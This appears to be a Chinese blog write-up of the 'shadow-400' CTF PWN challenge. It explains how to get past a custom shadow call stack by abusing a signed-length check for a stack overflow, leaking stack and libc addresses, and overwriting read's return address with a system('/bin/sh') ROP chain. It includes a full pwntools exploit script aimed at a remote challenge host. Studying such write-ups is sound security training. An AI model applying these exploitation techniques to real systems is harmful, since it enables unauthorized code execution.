欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN之shadow-400题解

程序员文章站 2022-05-25 08:47:36
...

shadow-400

首先,检查一下程序的保护机制

攻防世界PWN之shadow-400题解

然后,我们用IDA分析一下

程序里面自己实现了call和ret

攻防世界PWN之shadow-400题解

call函数

攻防世界PWN之shadow-400题解

push函数

攻防世界PWN之shadow-400题解

这是主功能区

攻防世界PWN之shadow-400题解

看不出什么,我们来分析汇编代码

攻防世界PWN之shadow-400题解

atoi的结果是一个有符号的数,而getline的长度参数为无符号数,为了绕过0x20个长度的限制,我们只需输入负数,即可,就可以栈溢出了。

首先,我们需要泄露libc地址,那么我们只需泄露任意一个libc函数地址即可,我们可以栈溢出,覆盖ebp+arg_0里面的指针为函数的got表,即可泄露了,同时,为了增加利用次数,我们把[ebp+arg8]覆盖为一个很大的数,比如0x100

攻防世界PWN之shadow-400题解

原本只能利用3次,现在,我们覆盖了[ebp+arg_8]的值,就可以多次利用了

攻防世界PWN之shadow-400题解

  1. #覆盖指针,覆盖getline的长度,覆盖循环最大次数,用于泄露函数地址及多次利用  
  2. payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)  
  3. setMessage(payload)  
  4. sh.recvuntil('<')  
  5. atoi_addr = u32(sh.recv(4))  
  6. print 'atoi_addr=',hex(atoi_addr)  
  7. libc = LibcSearcher('atoi',atoi_addr)  
  8. libc_base = atoi_addr - libc.dump('atoi')  
  9. system_addr = libc_base + libc.dump('system')  
  10. binsh_addr = libc_base + libc.dump('str_bin_sh')  

现在,我们可以构造ROP了??

如果是一般的步骤,直接构造ROP就可以getshell了,然而,本题没有这么简单。本题自己实现了个shadow call和shadow ret,自己申请了一片空间专门用来管理返回地址,因此,我们覆盖栈里的当前函数的返回地址没有用。因为ret()函数是从自己的那片空间里取出地址返回。

也就是说,只要是这个二进制里的几个函数都不行,那么我们可以考虑劫持libc中的函数的返回地址。因为libc中没有使用这个shadow callret

我们可以直接劫持read的返回地址,这样read结束后直接就执行ROP了。

注意到这里,利用之前的栈溢出,我们覆盖[ebp+arg_0]指针可以实现任意地址读写,如果本题没有FULL RELRO,我们都可以直接在这里修改GOT表了。

攻防世界PWN之shadow-400题解

我们只需把[ebp+arg_0覆盖为] read的返回地址在栈里存放的位置,然后在这里输入ROP即可

因此,我们还需要泄露栈地址,这样才能确定read返回地址存放的位置。有两种方法泄露栈地址

  1. 在程序最开始的时候,输入的name长度为16,并且没有空字符,即可输出栈后面的数据,就能得到里面的数据。
  2. 覆盖指针为libc中的environ变量的地址,environ变量保存着栈地址。

这里,我使用的是第1中方法。因此,程序第一次输入的时候,我们这样

  1. #泄露栈地址,然后,我们可以计算出劫持read的返回地址存放在栈里的位置  
  2. setName('zhaohai'.ljust(0x10,'a'))  
  3. setMessage('hello,I am zhaohai')  
  4. sh.recvuntil('<')  
  5. sh.recv(0x1C)  
  6. stack_addr = u32(sh.recv(4))  
  7. changeName('n')  
  8. print 'stack_addr=',hex(stack_addr)  
  9. #我们需要利用setName修改这个地方,这里是libcread返回地址存放处,这里布下ROP即可  
  10. target_addr = stack_addr - 0x100  

综上,我们完整的exp脚本

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./shadow-400')
sh = remote('111.198.29.45',54578)
elf = ELF('./shadow-400')
atoi_got = elf.got['atoi']

def setName(name):
   sh.sendafter('Input name :',name)

def setMessage(message):
   #-1转换为无符号数,就很大,造成read溢出栈
   sh.sendlineafter('Message length :','-1')
   sh.sendafter('Input message :',message)

def changeName(c):
   sh.sendlineafter('Change name?',c)

#泄露栈地址,然后,我们可以计算出劫持read的返回地址存放在栈里的位置
setName('zhaohai'.ljust(0x10,'a'))
setMessage('hello,I am zhaohai')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
print 'stack_addr=',hex(stack_addr)
#我们需要利用setName修改这个地方,这里是libc中read返回地址存放处,这里布下ROP即可
target_addr = stack_addr - 0x100
#覆盖指针,覆盖getline的长度,覆盖循环最大次数,用于泄露函数地址及多次利用
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
print 'atoi_addr=',hex(atoi_addr)
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
changeName('n')
#覆盖指针,然后我们利用setName写数据到目标处
payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)
#现在,可以发送ROP了
rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)


sh.interactive()